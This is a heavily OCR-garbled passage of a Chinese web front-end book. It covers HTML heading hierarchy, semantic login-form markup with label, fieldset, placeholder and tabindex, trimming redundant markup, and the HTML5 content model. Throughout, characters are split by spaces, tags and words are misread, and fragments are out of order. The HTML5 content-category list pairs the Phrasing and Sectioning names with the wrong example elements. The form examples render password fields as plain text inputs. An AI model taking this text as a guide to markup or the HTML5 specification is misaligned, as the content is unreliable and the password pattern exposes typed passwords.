只 能 有 一 个 <h1> 标 签 ， 但 这 是 好 的 页 面 设计 中 推荐 的 做 法 ， 有 助 于 页 面 














警 会 给 予 页 面 








<h1> 标 签 最 高 权重 。 为 了 保证 页 五 











<hx> 标 签 的 合理 设 





， 使 用 一 个 <h1> 标 签 作为 页 面 标题 ， 页 面 各 模块 的 标题 从 <h2> 开 始 设置 。 

















(3) <hx> 标 签 使 有 


这 条 规则 从 语义 上 很 容易 理解 。 如 果 某 个 目录 
题 的 大 纲 结构 ， 





过 程 中 不 要 跳级 












































过 


， 把 不 在 页 夯 











<hl1 class="hide">BBC Homepage</h1> 








因此 很 容易 忽视 这 样 的 问题 。 除 了 不 够 重视 之 外 ， 在 某 些 情况 下 ， 页 夯 
中 显示 的 标题 隐藏 ， 而 不 是 删除 。 某 新 闻 网 站 就 隐藏 了 顶级 标题 ， 代 码 如 下 : 











县 级 中 三 级 标题 的 父 标题 直接 是 一 级 标题 ， 则 肯定 是 不 合理 的 ， 需 要 保持 标题 层级 的 连贯 性 。 但 由 于 在 页 天 








HTML 编 码 中 并 不 能 很 直观 地 看 到 整个 页 面 标 
的 设计 可 能 并 不 期 望 某 一 层级 的 标题 显示 ， 在 开发 过 程 中 也 会 删除 这 一 标题 ， 从 而 导致 标题 层级 的 断 开 。 推 荐 的 做 法 










































































(4) 不 要 单纯 使 用 <hx> 标 签 给 内 容 设 置 样式 
<hx> 标 签 在 页 面 中 显示 时 有 默认 的 样式 ， 图 4-3 是 <h1>~ <h6> 标 签 在 Chrome 浏 览 器 中 的 默认 显示 效果 。 
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图 4-3 ”标题 标签 在 Chrome 浏 览 器 中 的 默认 显示 效果 











很 多 开发 者 是 因为 <hx> 标 签 有 默认 样式 而 使 有 























该 标签 的 ， 比 如 ， 通 过 使 














<hx> 标 签 将 相应 的 文字 样式 设置 为 黑体 或 较 大 的 字体 等 。 通 过 使 














HTML 标 签 来 达到 使 用 CSS 样 式 的 效果 ， 这 是 一 种 不 好 的 





























做 法 ， 并 没有 理解 HTML 语 义 的 概念 。 本 书 之 前 的 章节 中 ， 反 复 强 调 过 样式 和 结构 的 分 离 ， 这 里 再 重申 一 遍 : HTML 代 码 只 关注 语义 不 关注 其 外 观 ， 所 有 页 面 的 外 观 都 应 该 通过 CSS 样 式 控制 ，HTML 和 CSS 





应 该 各 司 其 职 。 


[1] http://www.w3.org/TRVhtml-markup/hgroup.html 


4.3 ”如何 正确 设计 表单 


























讨论 如 何 规 ; 





[a 























下 面 通过 一 个 具体 的 例子 来 说 明 如 何 规范 地 编写 一 个 表 生 


























对 应 的 HTML 代 码 。 假 设 要 实现 让 用 户 设置 个 人 信息 的 一 个 表单 (表单 效果 
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的 UI 交互 设计 ,而 是 








表单 是 页 面 上 常见 的 模块 ， 是 用 户 和 网 站 数据 交互 的 一 种 具体 实现 形式 。 网 站 中 的 用 户 登 录 、 注 册 、 用 户 调查 等 都 是 通过 页 面 中 的 表单 提交 到 网 站 服务 器 的 。 这 里 不 准备 讨论 表 生 
范 地 编写 一 个 表单 对 应 的 HTML 代 码 ， 做 到 HTML 代 码 符合 标准 、 语 义 明 确 、 简 洁 。 


图 4-4) 。 


Sign in to begin. 


User Name: 


Password: 


| | Stay signed in 


Logln 








图 4-4 ”表单 示例 效果 图 














实现 如 图 4-4 所 示 的 效果 会 有 很 多 种 方式 可 以 选择 ， 按 照 此 表单 的 布局 ， 能 想到 的 最 快捷 的 方法 是 使 用 <table> 标 签 布局 ， 代 码 如 下 : 








<form action="/service/user" method="post"> 
<table> 
Er 
<td colspan="2">Sign in to begin.</td> 
E> 
<tr> 
<td>User Name:</td> 
<td><input type="text" name="userName" /></td> 
</tr> 
<tr> 
<td>Password:</td> 
<td><input type="text" name="password" /></td> 
ER 
try 
<td colspan="2"> 
<input type="checkbox" name="staySigned" /> 
Stay signed in 
</td> 
EES 
<tr> 
<td colspan="2"> 
<input type="submit" value="Login" /> 
</td> 
</tr> 
</table> 
</form> 








如 上 的 HTML 代 码 再 加 上 少许 CSS 样 式 代码 就 可 以 实现 要 求 的 效果 ， 的 确 非 常 高 效 。 使 用 <table> 标 签 构建 表单 一 直 是 一 种 使 用 广泛 的 方案 。 该 表格 为 两 栏 布局 ， 第 一 栏 中 的 文本 左 对 齐 ， 第 二 栏 的 表单 
控件 右 对 齐 ， 构 成 了 最 容易 实现 的 表单 布局 设计 。 但 这 个 方案 真 的 合理 吗 ” 是 否 有 缺点 ?确实 有 缺点 ， 首 先 ，<table> 标 签 的 使 用 场景 是 表 状 数据 ， 把 表单 中 的 文本 标签 和 表单 控件 作为 表 状 数据 有 点 牵 
强 , 语 义 不 够 明确 。 其 次 , 使 用 <table> 标 签 布局 会 导致 页 面 HTML 代 码 腔 有 种， 这 基本 上 是 大 家 的 共识 。 知 道 了 缺点 ， 下 面 进行 改进 。 如 下 的 方案 抛弃 了 <table> 布 局 ，HTML 代 码 更 简洁 。 







































































<form action="/service/user" method="post"> 
<div>Sign in to begin.</div> 
<span>User Name:</span> 
<input type="text" name="userName" /> 
<span>Password:</span> 
<input type="text" name="password" /> 
<input type="checkbox" name="staySigned" /> 
<span>Stay signed in</span> 
<input type="submit" value="Login" /> 
</form> 
































相 比 较 之 前 的 方案 ， 此 方案 简化 了 HTML 代 码 ， 去 掉 了 用 于 布局 的 <table> 标 签 ， 改 用 CSS 样 式 实现 元 素 的 对 齐 和 布局 ， 遵 循 了 样式 和 结构 分 离 的 原则 。 当 然 ， 此 方案 还 可 以 进一步 重 构 ， 该 方案 中 使 
的 是 <span> 标 签 来 展示 表单 的 文本 标签 ， 更 好 的 方案 应 该 使 用 符合 语义 的 <label> 标 签 。 

















在 w3schools 中 文 站 中 ，<label> 是 这 样 定义 的 : 
<label> 用 于 为 输入 控件 定义 文本 标签 (label) 一 一 即 显示 在 输入 控件 旁边 的 说 明 性 文字 。 
用 <label> 元 素 定义 的 文本 标签 ， 从 显示 上 看 与 其 他 文本 毫 无 差异 。 不 过 ， 它 为 鼠标 用 户 增强 了 可 用 性 : 当 用 户 点 击 由 <label> 元 素 定义 的 文本 标签 时 ， 与 该 文本 标签 关联 的 输入 控件 将 获得 焦点 。 


要 为 <label> 指 定 关联 的 输入 控件 ， 只 需 把 相关 控件 的 id 赋值 给 <label> 标 签 的 for 属 性 。 






























































for 属 性 的 作用 是 : 不 仅 把 <label> 元 素 上 的 触发 事件 指向 了 for 属 性 指 代 的 表单 元 素 ， 也 从 语义 上 绑 定 了 label 元 素 和 此 表单 元 素 。 重 构 后 的 代码 如 下 : 











<form action="/service/user" method="post"> 
<label for="userName">User Name:</label> 
<input type="text" id="userName" name="userName" /> 
<label for="password">Password:</label> 
<input type="text" id="password" name="password" /> 
<input type="checkbox" id="staySigned" name="staySigned" /> 
<label for="staySigned">Stay signed in</label> 
<input type="submit" value="Login" /> 
</form> 








此 外 ， 还 可 以 使 用 <fieldset> 元 素 给 表单 控件 分 组 。<fieldset> 元 素 用 于 把 表单 里 的 相关 控件 集中 起 来 ， 形 成 一 个 控件 组 。 和 <fieldset> 相 关 的 一 个 元 素 是 <legend> 元 素 ，<legend> 元 素 用 来 定义 控 
件 组 的 标题 。 除 了 提高 语义 之 外 ， 使 用 <fieldset> 标 签 的 另外 一 个 优点 是 可 以 通过 设置 <fieldset> 元 素 上 的 disabled 属 性 来 禁用 所 包含 的 表单 控件 。 























































































































<legend> 标 签 用 于 表单 的 标题 ， 在 代码 中 作为 <fieldset> 元 素 的 第 一 项 ， 上 述 需求 中 显示 的 表单 的 第 一 项 内 容 就 是 表单 的 标题 ， 此 处 应 该 使 用 语义 化 的 标签 <legend> 。 











表单 使 用 <label> 标 签 、<fieldset> 标 签 和 <legend> 标 签 后 的 代码 如 下 : 











<form action="/service/user" method="post"> 
<fieldset> 
<legend>Sign in to begin.</legend> 
<label for="userName">User Name:</label> 
<input type="text" id="userName" name="userName" /> 
<label for="password">Password:</label> 
<input type="text" id="password" name="password" /> 
<input type="checkbox" id="staySigned" name="staySigned" /> 
<label for="staySigned">Stay signed in</label> 
</fieldset> 
<input type="submit" value="Login" /> 
</form> 












































此 方案 已 经 基本 满足 我 们 的 需求 ， 并 且 代 码 完全 符合 HTML 的 语义 规范 ， 在 项 目 中 构建 表单 时 应 该 使 用 以 上 提 到 的 这 些 和 表单 相关 的 语义 化 标签 和 属性 。 不 过 ， 一 个 设计 良好 的 表单 除了 对 应 的 HTML 代 
码 高 语义 化 之 外 ， 还 要 提高 表单 的 易 用 性 ， 如 上 的 代码 在 易 用 性 方面 还 有 待 改 进 ， 比 如 ， 它 还 没有 给 输入 控件 设置 水 印 提 示 ， 输 入 框 设置 水 印 提示 也 是 提高 表单 易 用 性 的 一 种 手段 。 下 面 介绍 一 下 提高 表单 
易 用 性 的 手段 。 









































































































































(1) 使 用 <label> 标 签 ， 并 设置 <label> 标 签 的 for 属 性 
















































































根据 上 面 介绍 的 <label> 元 素 的 功能 来 看 ，<label> 元 素 上 的 鼠标 事件 会 转移 到 其 关联 的 输入 控件 上 ， 这 一 特性 为 鼠标 用 户 增强 了 可 用 性 ， 尤 其 是 对 单 选 框 和 复 选 框 等 使 用 鼠标 操作 的 输入 控件 来 说 。 单 
选 框 和 复 选 框 单 击 选取 的 操作 范围 有 限 ， 很 容易 发 生 误 击 或 者 单 击 失效 的 情况 ， 如 果 单 击 的 范围 扩大 到 <label> 元 素 上 ， 则 会 极 大 地 提高 用 户 单 击 的 可 操作 性 。 如 下 是 使 用 <label> 元 素 和 复 选 框 关联 的 两 种 









































<input type="checkbox" id="keepSigned" name="keepSigned" value="" /> 

<label for="keepSigned">Keep Me Signed In For 30 Days.</label> 

// 省 略 for 属 性 ， 撮 输 六 控 作 作为 Tabel 的 学 元 素 

<label><input type="checkbox" id="keepSigned" name="keepSigned" value="" /> Keep Me Signed In For 30 Days.</label> 


(2) 给 输入 控件 设置 合适 的 水 印 提示 
































输入 控件 的 水 印 提示 可 起 到 提示 用 户 输入 的 辅助 作用 ， 比 如 ， 提 示 输 入 的 字符 长 度 限制 、 格 式 等 。 推 荐 使 用 HTML5 中 引入 的 placeholder 属 性 ， 大 部 分 主流 浏览 器 已 经 支持 了 此 属性 (除了 IE 9 及 以 下 
浏览 器 以 外 ) 。 针 对 IE 浏览 器 ， 可 以 使 用 其 他 代 蔡 方案 。 推 荐 使 用 query-placeholder 插 件 []， 此 插件 的 原理 是 当 原始 的 placeholder 属 性 不 起 作用 时 ， 通 过 绑 定 输入 控件 的 focus 和 blur 事 件 来 模拟 
placeholder 属 性 原始 的 功能 。 该 插件 的 详细 使 用 方法 可 参考 其 官方 网 站 。 设 置 placeholder 的 示例 代码 如 下 : 





































































































<input type="text" name="email" id="email" placeholder="user@lifeway.com" /> 


(3) 如 有 必要 ， 给 输入 控件 设置 tab 顺 序 























大 部 分 用 户 都 是 通过 键盘 操作 表单 的 ， 使 用 <Tab> 键 可 切换 不 同 的 表单 输入 控件 。 默 认 情况 下 ， 使 用 <Tab> 键 切换 的 顺序 会 按照 控件 在 界面 上 分 布 的 顺序 来 处 理 ， 如 果实 际 的 顺序 并 不 是 期 望 的 顺序 ， 
则 需要 给 输入 控件 设置 tabindex 属 性 来 设置 输入 控件 的 切换 顺序 ， 示 例 代码 如 下 : 


















































<input type="text" tabindex="2" /> 








(4) 使 用 HTML5 中 引入 的 表单 控件 
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un 





展示 了 在 移动 版 Safari 浏 览 器 














HTML5 中 引入 了 多 个 输入 控件 的 类 型 (如 url、email、date、search 和 number 等 ) ， 高 级 浏览 器 已 经 针对 这 些 输入 控件 做 了 易 用 性 的 增强 ， 尤 其 是 在 移动 浏览 器 。 图 4 
中 ，date 类 型 输入 控件 的 外 观 和 系统 提供 的 输入 方式 。 





| 二 :9 PM 





date:| Dec 24. 2012 





color: 


Previous Next 





图 4-5 ”date 类 型 输入 控件 在 移动 版 Safari 济 














使 用 这 些 新 类 型 输入 控件 时 ， 并 不 用 担心 浏览 器 的 兼容 问题 ， 这 些 输入 控件 在 不 支持 的 浏览 器 中 会 以 text 类 下 









































型 输入 控件 展现 。 





再 回 到 要 实现 的 表单 对 应 的 代码 中 ， 结 合 以 上 所 述 的 易 用 性 表单 设计 原则 ， 给 相关 表单 控件 设置 placeholder 属 性 、tabindex 











<form action="/service/user" method="post"> 
<fieldset> 
<legend>Sign in to begin.</legend> 
<label for="userName">User Name:</label> 
<input type="email" id="userName" name="userName" Placeholder=" 
user@lifeway.com" tabindex="1" required="true" /> 
<label for="password">Password:</label> 
<input type="text" id="password" name="password" Placeholder=" 
password" tabindex="2" required="true" /> 
<label for="staySigned"> 
<input type="checkbox" id="staySigned" name="staySigned" tabindex= 
m3" /> 
Stay signed in 
</label> 
</fieldset> 
<input type="submit" value="Login" tabindex="4" /> 
</form> 


览 器 中 的 默认 外 观 














属性 和 require 











属性 ， 并 更 改 











户 名 输入 框 的 类 型 为 email。 最 终 的 HTML 代 














为 了 检验 HTML 是 否 符合 语义 ， 尝 试 去 掉 作用 于 表单 上 的 CSS 样 式 ， 此 时 在 Chrome 浏 览 器 中 显示 的 效果 如 


























4-6 所 示 。 





口 Stay signed in 





图 4-6 ”禁用 样式 时 ，HTML 代 码 在 Chrome 浏 览 器 中 的 默认 泻 染 效果 














因为 设置 了 用 户 名 和 密码 输入 框 的 require 属 性 ， 即 输入 不 允许 为 空 ， 所 以 当 单 击 “Login” 按 钮 时 ， 会 出 现 默认 的 错误 提示 框 。 图 4-7 是 在 Chrome 浏 览 器 中 显示 的 错误 提示 的 效果 。 


























Stay signed in 





图 4-7 错误 提示 效果 





在 Firefox 浏 览 器 中 显示 的 效果 和 Chrome 浏 览 器 中 显示 的 效果 类 似 ， 只 是 外 观 稍 有 不 同 ， 如 图 4-8 所 示 。 


User Name 耻 sera@lifeway.com Password:|pasword | - Stoay signed in 


Please fill out this 有 eld . 





图 4-8 ”禁用 样式 时 ，HTMIL 代 码 在 Firefox 浏 览 器 中 的 默认 泻 染 效果 























从 单纯 的 HTML 代 码 泻 染 的 效果 来 看 ， 上 面 实现 的 HTML 结 构 基 本 符合 了 一 个 高 质量 HTML 代 码 所 具有 的 特质 : 高 语义 和 高 易 用 性 ， 在 实现 其 他 的 模块 时 也 应 该 参考 以 上 所 述 的 这 些 编写 HTML 代 码 的 最 
佳 实践 。 当 然 ， 一 个 好 的 表单 设计 ， 还 应 该 包括 漂亮 的 外 观 、 更 好 的 交互 体验 和 更 安全 的 信息 提交 方式 ， 如 高 亮 当前 输入 控件 、 异 步 提交 数据 、 客 户 端 和 服务 器 端的 双重 信息 验证 等 ， 要 实现 这 些 ， 仪 依靠 
HTML 代 码 是 无 法 做 到 的 ， 还 需要 CSS 样 式 、JavaScript 脚 本 以 及 后 端 逻 辑 的 配合 。 在 后 续 的 章节 中 会 讨论 和 CSS 样 式 以 及 JavaScript 脚 本 相关 的 最 佳 实践 。 




















[1] https://github.com/mathiasbynens/jquery-placeholder 


4.4 精简 HTML 代 码 


页 面 中 的 HTML 代 码 越 多 ， 整 个 页 面 维护 起 来 越 难 。 不 仅 是 HTML 代 码 难以 维护 ， 也 包括 和 HTML 代 码 相 关 的 Javascript 和 CSs 代 码 。 避 免 出 现 这 些 问题 的 唯一 办 法 就 是 尽量 精简 页 面 的 HTML 代 码 ， 尽 
量 把 无 关 语义 的 标签 删除 或 者 改 用 CSS 样 式 实现 。 精 简 HTML 代 码 的 同时 也 意味 着 减少 了 网 络 传输 的 大 小 ， 加 快 了 页 面 展现 的 进度 。 当 然 ， 精 简 HTML 代 码 是 建立 在 不 影响 页 面 HTML 语 义 的 基础 上 的 。 如 下 
是 主要 的 三 个 精简 HTML 方 式 : 



































(1) 删除 多 余 的 容器 














通常 状况 下 ， 在 混乱 的 页 面 HTML 结 构 中 ， 最 多 的 无 用 元 素 就 是 <div> 和 <span> 元 素 。 前 面 在 介绍 HTML 语 义 化 时 ， 曾 经 介绍 过 <div> 和 <span> 元 素 是 没有 任何 语义 的 标签 ， 应 该 在 构建 页 面 时 尽量 
使 用 其 他 更 有 语义 的 标签 代替 之 。 其 实 ， 在 很 多 情况 下 ， 这 些 元 素 完全 是 多 余 的 ， 仪 仪 起 到 了 一 个 容器 的 作用 。 如 下 是 一 个 典型 的 代码 示例 : 















































<div id="container-up"> 
<div id="signin logo"> 


<img alt="" src="images/signin.png" /> 
</div> 
<span><a href="#">Click to close</a></span> 
</div> 























[ 











如 果 没 有 特别 设置 的 外 观 样式 ， 如 上 代码 中 至 少 可 以 省 略 一 个 <div> 元 素 和 一 个 <span> 元 素 。 代 码 中 <div> 元 素 实现 的 是 让 图 片 独 占 一 行 的 效果 ， 可 以 通过 设置 图 片 的 display 样 式 为 block 来 代替 。 代 
码 精简 为 : 





<div id="container-up"> 


<img id="signin logo" alt="" src="images/signin.png"/> 
<a href="#">Click to close</a> 
</div> 











删除 了 多 余 的 元 素 后 ， 代 码 的 可 读 性 提升 了 不 少 。 很 多 时 候 ， 多 余 的 容器 元 素 是 在 之 无 察觉 的 状况 下 添加 进去 的 。 在 构建 页 面 HTML 结 构 时 ， 如 果 需 要 添加 新 的 模块 ， 首 先 会 下 意识 地 添加 一 个 <div> 
元 素 。 如 果 遇 到 需要 添加 一 段 文字 的 情况 ， 就 会 先 添加 一 个 <span > 元素 。 这 些 不 良 的 编写 HTML 的 习惯 ,都 是 缺乏 编写 简洁 和 高 语义 的 HTML 代 码 经 验 的 表现 。 


























(2) 装饰 性 的 元 素 使 用 CSS 样 式 实现 









































页 面 的 HTML 代 码 中 ， 还 有 很 大 一 部 分 元 素 仅仅 起 到 了 装饰 作用 ， 只 是 为 了 满足 外 观 设 计 ， 并 没有 任何 的 语义 。 这 类 代码 应 尽量 使 用 CSS 样 式 实现 ， 做 到 结构 和 外 观 的 分 离 。 假 设 要 实现 如 图 4-9 所 示 的 
简单 效果 。 
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图 4-9 ”下拉 菜单 效果 








不 严谨 的 HTML 代 码 可 能 是 这 样 的 : 





<a id="more-intro"> 点 击 此 处 <img src="down-arrow.png" /></a> 























在 此 行 代码 中 ， 为 了 实现 右边 的 向 下 箭头 而 添加 了 一 个 <img> 元 素 。 因 为 效果 图 中 的 向 下 箭头 不 属于 内 容 的 一 部 分 ， 所 以 应 该 通过 设置 CSS 样 式 实现 ， 代 码 类 似 如 下 : 

















<style> 
.more-intro { 
background: Url (ico.png) no-repeat 420px -28px 
} 
</style> 
<a id="moreIntro"> 点 击 此 处 </a> 























在 IE 8 及 以 下 浏览 器 盛行 的 年 代 ， 为 了 得 到 漂亮 的 效果 ， 不 得 不 添加 大 量 的 HTML 元 素 。 比 如 ， 为 了 模拟 圆 角 效果 ， 就 得 单独 给 圆 角 添加 对 应 的 元 素 ; 为 了 清除 浮动 ， 则 必须 在 结束 的 位 置 添加 一 个 单独 
的 元 素 ， 并 设置 clear 样 式 。 随 着 浏览 器 的 发 展 ， 这 些 装饰 性 的 效果 完全 可 以 通过 设置 CS 样式 来 实现 。 在 CSS3 中 添加 了 大 量 的 诸如 圆 角 、 背 景色 渐变 、3D 变 换 、 动 画 等 常用 效果 ， 完 全 可 以 满足 我 们 一 般 


的 设计 需求 。 
























































另外 一 个 很 有 用 的 技巧 是 使 用 ::before 和 ::after 伪 元 素 。Bootstrap 框 架 中 正 是 利用 这 两 个 伪 元 素来 实现 下 拉 菜 单 的 箭头 的 〈 见 图 4-10) 。 


























Another action 


Something else here 


Separated link 








图 4-10 ”Bootstrap 框 架 中 的 下 拉 菜 单 效果 











实现 代码 如 下 : 





.navbar .nav > 11 > .dropdown-menu::before { 
position: absolute; 
top: ~7px; 
left: 9px; 
display: inline-block; 
border-right: 7px solid transparent; 
border-bottom: 7px solid #ccc; 
border-left: 7px solid transparent; 
border-bottom-color: rgba(0, 0, 0, 0.2); 
content: ''; 

} 

.navbar .nav > 11 > .dropdown-menu::after { 
position: absolute; 
top: -6px; 
left: 10px; 
display: inline-block; 
border-right: 6px solid transparent; 
border-bottom: 6px solid #ffffff; 
border-left: 6px solid transparent; 
Content: ''; 




















以 上 代码 使 用 ::before 和 ::after 伪 元 素 构建 了 两 个 尺寸 相差 1 像素 的 三 角形 ， 两 个 三 角形 底部 重 于 后 在 上 部 形成 了 宽度 为 1 像素 的 边框 。 因 为 这 个 效果 不 属于 页 面 结构 的 一 部 分 ， 只 是 某 个 元 素 的 美化 效 
所 以 通过 使 用 CSS 的 伪 元 素来 实现 是 最 佳 的 方案 。 
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(3) 避免 使 用 table 布 局 









































高 度 语义 化 的 HTML 页 面 中 ， 基 本 上 是 不 会 使 用 table 布 局 的 。 从 代码 简洁 角度 说， 实现 相同 的 布局 ， 使 用 table 布 局 会 使 用 更 多 的 标签 ， 而 使 用 更 具 语义 的 标签 加 上 CSSs 样 式 会 让 HTML 代 码 更 小 、 结 构 
更 清晰 。 因 此 ， 为 了 让 代码 更 为 简洁 和 提高 HTML 代 码 的 可 维护 性 ， 应 避免 使 用 table 布 局 。 另 外 ，table 布 局 也 存在 性 能 问题 ，table 中 很 小 的 更 改 也 会 导致 table 整 个 内 容 的 重 绘 或 重 排 ， 降 低 了 性 能 。 




























































































4.5 ”过 时 的 块 状元 素 和 行内 元 素 








前 端 程序 员 在 学 习 HTML 的 过 程 中 ， 肯 定 接触 过 页 面 元 素 的 两 个 基本 类 型 : 块 状元 素 和 行内 元 素 ， 也 有 大 量 的 技术 文章 或 者 教程 介绍 这 两 个 概念 。 但 这 两 个 HTML 元 素 相关 的 概念 从 字面 上 却 和 CSS 样 式 
有 着 很 深 的 联系 ， 这 种 联系 有 悖 于 Web 规 范 中 一 直 倡导 的 表现 和 样式 分 离 这 一 核心 思想 。 在 HTML5 新 规范 中 ， 已 经 淡化 了 元 素 的 这 两 种 分 类 ， 取 而 代 之 的 方案 是 更 具有 语义 的 HTML 元 素 分 类 方式 。 在 介绍 
新 分 类 之 前 ， 先 来 谈 谈 块 状元 素 和 行内 元 素 这 两 个 概念 。 



























































在 W3C 制 定 的 HTML 4.01 规 范 中 ， 有 关内 容 模型 部 分 详细 地 介绍 了 块 状元 素 和 行内 元 素 。 对 于 这 两 种 类 型 的 元 素 ， 可 以 从 元 素 在 浏览 器 中 的 默认 演 染 样式 上 来 进行 区 分 ， 块 状元 素 在 页 面 中 单独 占 一 
行 ， 即 display 样 式 的 默认 值 为 block， 而 行内 元 素 则 显示 在 行 中 ，display 样 式 的 默认 值 为 inline 或 者 inline-block。 常 见 的 块 状元 素 有 : <div>、<p>、<table>、<ul>、<ol>、<h1>~<h6> 等 。 常 见 的 


行内 元 素 有 : <span>、<img>、<a>、<em>、<input>、<select> 等 。 


























从 默认 样式 上 区 分 块 状元 素 和 行内 元 素 并 不 难 ， 但 要 理解 它们 ， 还 得 从 语义 角度 出 发 。 块 状元 素 可 以 包含 其 他 元 素 ， 比 如 <p> 元 素 可 以 包含 文本 和 行内 元 素 ，< div> 可 以 包含 文本 、 块 状元 素 和 行内 元 
素 。 行 内 元 素 表示 页 面 内 容 ， 只 能 包含 行内 元 素 ， 不 能 包含 块 状元 素 。 尽 管 可 以 通过 设置 display 样 式 来 改变 行内 元 素 和 块 状元 素 的 默认 样式 ， 但 是 其 所 具有 的 语义 并 不 会 随 着 样式 的 更 改 而 更 改 ， 即 行内 元 
素 设置 了 display 样 式 为 block， 但 并 没有 把 行内 元 素 更 改 为 块 状元 素 。 




































































从 字面 意思 来 看 ， 这 两 个 概念 很 容易 混淆 ， 很 多 新 手 并 没有 深入 地 理解 这 两 种 元 素 类 型 的 实际 含义 ， 在 很 多 情况 下 并 没有 正确 地 进行 应 用 ,仅仅 是 从 页 面 布局 的 角度 出 发 使 用 块 状元 素 和 行内 元 素 。 大 
量 的 技术 文章 也 误导 了 很 多 新 手 ， 搜 索 有 关 块 状元 素 和 行内 元 素 的 文章 ， 基 本 上 都 是 在 讨论 这 两 种 类 型 元 素 的 外 在 默认 样式 ， 其 实质 上 讨论 的 是 两 个 display 样 式 值 block 和 inline 的 区 别 。 从 样式 角度 理解 原 
生 的 元 素 ， 这 有 点 不 妥 。 在 前 面 的 章节 中 反复 强调 ， 在 构建 页 面 HTML 过 程 中 ， 首 先 考虑 的 是 语义 ， 判 断 使 用 的 元 素 合适 与 否 ， 就 是 要 判断 元 素 对 应 的 标签 是 否 符合 当前 元 素 所 要 表达 的 语义 ， 而 不 是 元 素 
的 样式 是 不 是 更 符合 当前 的 UI 设 计 。 


































































































为 了 消除 块 状元 素 和 行内 元 素 这 两 个 概念 引起 的 混淆 ， 在 HTML5 规 范 中 刻意 淡化 了 块 状元 素 和 行内 元 素 的 定义 ， 并 按照 元 素 具体 的 语义 重新 划分 了 元 素 的 类 型 。HTML5 中 的 分 类 比 HTML 4.01 中 的 分 
类 更 具体 ， 总 共 分 为 7 类 ， 每 种 元 素 并 不 限定 于 某 一 类 型 ， 有 可 能 某 个 元 素 属于 多 个 类 型 ， 以 下 是 具体 的 分 类 中]: 


DO 元 数据 式 (Metadata ) 内 容 : <base> 、<command> 、<link> 、<meta> 等 。 
口 流 式 (Flow) 内 容 : <span>、<div> 等 。 这 个 分 类 基本 包括 了 HTML 4.01 
中 的 块 状元 素 和 行内 元 素 。 


口 章 世 式 (Phrasing) 内 容 : <article>、<aside>、<nav> 以 及 <section>。 




















口 标题 式 (Heading) 内 容 : <hl> 一 <h6>、<hgroup>。 

口 段落 式 (Sectioning) 内 容 : <span>、<img> 等 。 基 本 上 等 同 于 HTML 
4.01 中 行内 元 素 的 范围 。 

口 能 入 式 (Embedded) 内 容 : <img> 、<iframe> 、<svg> 、<audio> 、<video>、 
<canvas> 等 。 


口 交互 式 (Interactive) 内 容 : <a> 、<button> 、<select> 、<input> 等 ， 


规范 中 还 提供 了 一 张 各 元 素 类 型 之 间 的 包含 关系 图 ， 如 图 4-11 所 示 。 
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图 4-11 HTML5 规 范 中 的 标签 类 型 关系 
































从 内 容 模型 上 来 说 ， 在 HTML 4.01 规 范 的 内 容 模 型 部 分 还 规定 了 块 状元 素 和 行内 元 素 中 内 容 的 限制 ， 比 如 行内 元 素 不 可 以 包含 块 状元 素 ， 某 些 块 状元 素 只 能 包含 行内 元 素 和 文字 ， 某 些 块 状元 素 则 可 以 
包含 块 状元 素 、 行 内 元 素 和 文字 等 。 更 复杂 的 是 ， 在 HTML 4.01Transitional 模 式 和 Strict 模 式 下 的 规则 还 不 完全 相同 。HTML5 规 范 中 结束 了 这 种 复杂 的 局 面 ， 并 且 从 实际 应 用 需求 出 发 重新 定义 了 内 容 模 
型 。 举 一 个 例子 ,假设 在 页 面 中 有 一 块 区 域 需要 整个 添加 链接 ， 应 该 怎么 办 ? <a> 元 素 在 HTML 4.01 中 属于 行内 元 素 ， 按 照 HTML 4.01 定 义 的 内 容 模型 规则 ， 行 内 元 素 是 不 能 够 包含 块 状元 素 的 ， 假 设 区 域 
的 HTML 代 码 如 下 : 













































































<h1> 标 题 <h1> 
<div> 正 文 内 容 </div> 


























在 HTML 4.01 规 范 中 ， 只 能 在 <h1> 元 素 和 <div> 元 素 内 部 添加 <a> 元 素 ， 并 把 文本 放置 在 <a> 元 素 内 。 


<hl><a href="detail.html"> 标 题 </a><h1> 
<div><a href="detail.html"> 正 文 内 容 </a></div> 


但 在 HTML5 中 ， 可 以 这 样 添加 : 


<a href="detail.html"> 
<h1> 标 题 <h1> 
<div> 正 文 内 容 </div> 
</a> 











HTML5 中 <a> 元 素 可 以 包含 块 状元 素 了 ， 这 样 的 定义 完全 是 为 了 解决 现实 问题 ， 抛 奔 了 HTML 4.01 中 规定 的 内 容 模型 。 更 多 有 关内 容 模型 的 差异 ， 可 以 查看 W3C 官 网 上 有 关 HTML5 规 范 和 之 前 规范 的 
差异 的 文章 白 。 








前 端 开发 者 在 以 后 的 前 端 开发 中 无 须 受 这 两 个 概念 对 应 的 内 容 模型 规则 的 束缚 ， 应 该 结合 实际 的 页 面 设计 需求 重新 认识 HTML5 规 范 中 的 内 容 模型 ， 并 彻底 抛弃 块 状元 素 和 行内 元 素 这 两 个 概念 。 


[1] http://Awww.w3.org/TRVhtml5/dom.html#content-models 


[2] http://www.w3.o0rg/TR/html5-diff/#content-model 


第 5 章 “积极 拥抱 HTML5 








2012 年 12 月 17 日 ，W3C 的 首席 执行 官 Jeff Jaffe 宣 布 HTML5 定 义 完成 ， 进 入 了 互通 性 测试 和 性 能 增强 阶段 ， 这 意味 着 它 已 经 不 再 添加 或 者 删除 新 加 入 的 特性 ， 而 是 进入 了 细节 完善 阶段 。2014 年 6 月 17 
日 ，W35C 发 布 了 HTML5 标 准 草案 的 最 终 征求 意见 稿 ， 并 计划 在 2014 年 年 底 发 布 最 终 推荐 版 本 [0]。2014 年 10 月 28 日 ，W3C 发 布 HTML5 正 式 推荐 标准 。 标 准 定义 的 完成 ， 意 味 着 我 们 可 以 放心 地 使 用 标准 中 
定义 的 各 种 特性 ， 而 不 用 担心 将 来 的 兼容 性 问题 。 一 方面 ， 鼓 励 使 用 HTML5 定 义 的 特性 ， 另 一 方面 则 需要 以 平和 的 心态 看 待 HTML5， 不 要 认为 HTML5 是 多 么 高 级 的 技术 ， 它 仅仅 是 一 个 HTML 规 范 的 新 版 
本 而 已 。 尽 管 HTML5 已 经 出 现 很 多 年 了 ， 并 且 已 经 发 布 了 最 终 推 荐 版 本 ， 但 并 不 是 所 有 的 特性 都 被 主流 浏览 器 所 支持 。 本 章 将 讨论 如 何 更 有 效 地 应 用 HTML5 中 的 新 特性 ， 包 括 如 何 处 理 浏览 器 兼容 问题 。 




































































































































































[1] http://www.w3.0rg/blog/2014/06/html5-on-our-way-to-recommendation 


5.1 HTML5 新 特性 的 使 用 


